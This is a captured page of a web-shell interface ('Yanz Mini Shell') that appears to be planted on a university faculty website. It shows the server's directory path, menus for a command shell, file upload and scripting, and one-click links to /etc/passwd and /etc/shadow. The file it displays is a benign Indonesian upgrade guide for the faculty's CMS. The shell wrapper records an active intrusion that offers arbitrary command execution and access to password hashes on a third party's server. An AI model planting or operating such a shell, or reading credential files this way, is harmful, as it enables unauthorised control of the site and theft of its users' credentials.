Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
# Panduan Upgrade v3 — Homepage Fully Admin-Controlled Versi ini melanjutkan v2 dengan **6 admin page baru** + **5 tabel database baru**, sehingga **SELURUH konten homepage** bisa dikontrol dari admin panel — tanpa edit kode lagi. --- ## 🚀 Langkah Deploy ### 1. Backup database Export `fsains_uncp` dari phpMyAdmin sebelum upgrade. ### 2. Jalankan kedua SQL upgrade (urutannya penting!) **Jika baru pertama kali upgrade dari versi awal**, jalankan kedua-duanya: 1. `database_upgrade.sql` (yang dari v2) 2. `database_upgrade_v3.sql` (yang baru) **Jika sudah pernah upgrade ke v2**, cukup jalankan: - `database_upgrade_v3.sql` Caranya: phpMyAdmin → pilih DB `fsains_uncp` → tab **SQL** → paste isi file → **Go**. ### 3. Ganti file project Extract ZIP, replace folder `fakultas_sains` di XAMPP htdocs. **Jangan lupa salin folder `assets/images/news/` dan `upload/` dari versi lama** kalau ada gambar berita. ### 4. Login admin dan eksplorasi menu baru Login → sidebar sekarang punya 3 grup menu: - **KONTEN UTAMA**: Hero Slideshow, Quick Info Bar, Kelola Berita, Agenda - **PROFIL FAKULTAS**: Pimpinan, Laboratorium, Informasi Akademik - **PENGATURAN**: Pengaturan Web, Kelola Menu Nav, Kelola Admin --- ## 🎛️ Apa yang Sekarang Bisa Anda Kontrol dari Admin | Section di Homepage | Admin Page | |---|---| | **Hero Slideshow** (4-5 gambar di atas) | `admin/hero-slides.php` | | **Quick Info Bar** (4 kartu PMB) | `admin/quick-info.php` | | **Headline Berita** | `admin/news-management.php` | | **Informasi Akademik & Layanan** | `admin/quick-services.php` | | **Tentang FSAINS** (paragraf sejarah/visi/misi) | `admin/settings.php` (key `about_*`) | | **Pimpinan Fakultas** | `admin/pimpinan.php` | | **Program Studi** | langsung edit tabel `program_studi` | | **Laboratorium Unggulan** | `admin/laboratorium.php` | | **Agenda & Kegiatan** | `admin/agenda.php` | | **Alamat, telepon, email, sosmed** | `admin/settings.php` | | **Link SIAKAD, e-Learning, PMB** | `admin/settings.php` | **Semua dengan satu klik. Tidak perlu phpMyAdmin lagi.** --- ## 🔒 Foundation yang Diperbaiki ### 1. Brute-force protection di login - Max 5 percobaan gagal per IP dalam 15 menit - Setelah 5x gagal → IP terkunci 15 menit, form login disabled - Log percobaan tersimpan di tabel `login_attempts` - Session ID di-regenerate setelah login sukses (anti session fixation) ### 2. Upload gambar berita pakai `image_helper.php` - Validasi MIME asli (via `finfo`), bukan ekstensi - Auto-resize max 1600px lebar - Kompresi JPEG q82 / PNG level 7 / WebP q82 - Mempertahankan transparansi PNG/WebP ### 3. TinyMCE rich text editor Sekarang aktif di `admin/add.php` dan `admin/edit.php` berita. Anda bisa bold, italic, bullet list, insert link, insert tabel — tanpa nulis HTML manual. Gratis (lisensi GPL self-hosted dari jsdelivr CDN). Tidak perlu API key. --- ## 📋 Struktur Menu Admin Baru ``` Dashboard ─── KONTEN UTAMA ─── Hero Slideshow ← BARU Quick Info Bar ← BARU Kelola Berita Agenda & Kegiatan ← BARU ─── PROFIL FAKULTAS ─── Pimpinan ← BARU Laboratorium ← BARU Informasi Akademik ─── PENGATURAN ─── Pengaturan Web ← BARU (settings) Kelola Menu Nav Kelola Admin (super only) ─── Akun ─── Akun Saya Logout ``` --- ## 🗃️ Tabel Database Baru - `hero_slides` — slideshow homepage - `quick_info` — 4 kartu PMB - `pimpinan` — daftar pimpinan - `laboratorium` — daftar lab - `agenda` — agenda akademik - `login_attempts` — log brute-force protection Plus 4 settings baru di tabel `settings`: `about_sejarah`, `about_visi`, `about_misi`, `about_tujuan`. --- ## ❓ Troubleshooting **Q: Setelah upgrade, halaman utama error / blank** A: Pastikan `database_upgrade_v3.sql` sudah dijalankan. Cek di phpMyAdmin apakah tabel `hero_slides`, `quick_info`, dll sudah ada. **Q: Hero slideshow tidak muncul gambar** A: Pastikan folder `assets/images/hero/` masih ada dan berisi `hero-1.jpg` sampai `hero-4.jpg`. Atau upload gambar baru via `admin/hero-slides.php`. **Q: Foto pimpinan tidak muncul setelah upload** A: Cek permission folder `assets/images/pimpinan/` — harus writable (chmod 755 atau 775). **Q: TinyMCE tidak load di add/edit berita** A: Pastikan ada koneksi internet (TinyMCE dari jsdelivr CDN). Jika tetap tidak load, cek browser console untuk error. **Q: Login terkunci karena saya salah password berkali-kali sendiri** A: Buka phpMyAdmin → `TRUNCATE TABLE login_attempts;` — kunci akan reset. **Q: Mau matikan brute-force protection (dev mode)** A: Edit `admin/login.php`, ganti `$max_attempts = 5;` jadi `$max_attempts = 9999;` --- ## 🎯 Saran Pengembangan Lanjutan 1. **Email notification untuk form kontak** — sekarang form kontak hanya redirect WhatsApp. Integrasikan PHPMailer. 2. **Activity log admin** — log siapa edit apa kapan, untuk audit trail. 3. **Backup otomatis database** — cron job harian dump SQL. 4. **Search di seluruh website** — sekarang search baru ada di halaman berita. 5. **Schema.org JSON-LD** untuk SEO yang lebih baik (Article schema di detail berita). 6. **Analytics tracking** (Google Analytics 4 atau Plausible). --- ## 📝 Catatan Untuk Production Sebelum deploy ke server live: 1. `config/config.php`: ganti `$IS_PRODUCTION = true;` 2. `config/config.php`: ganti `$base_url = "";` (jika di root domain) atau sesuaikan 3. `robots.txt`: ganti URL sitemap ke domain asli 4. Hapus file `database_upgrade*.sql` dari server (sudah dieksekusi) 5. Set permission folder upload: `chmod 755 -R assets/images/ upload/` 6. **Ganti password admin default**! Selamat menggunakan! 🎉
Free Space : 55503048704 Byte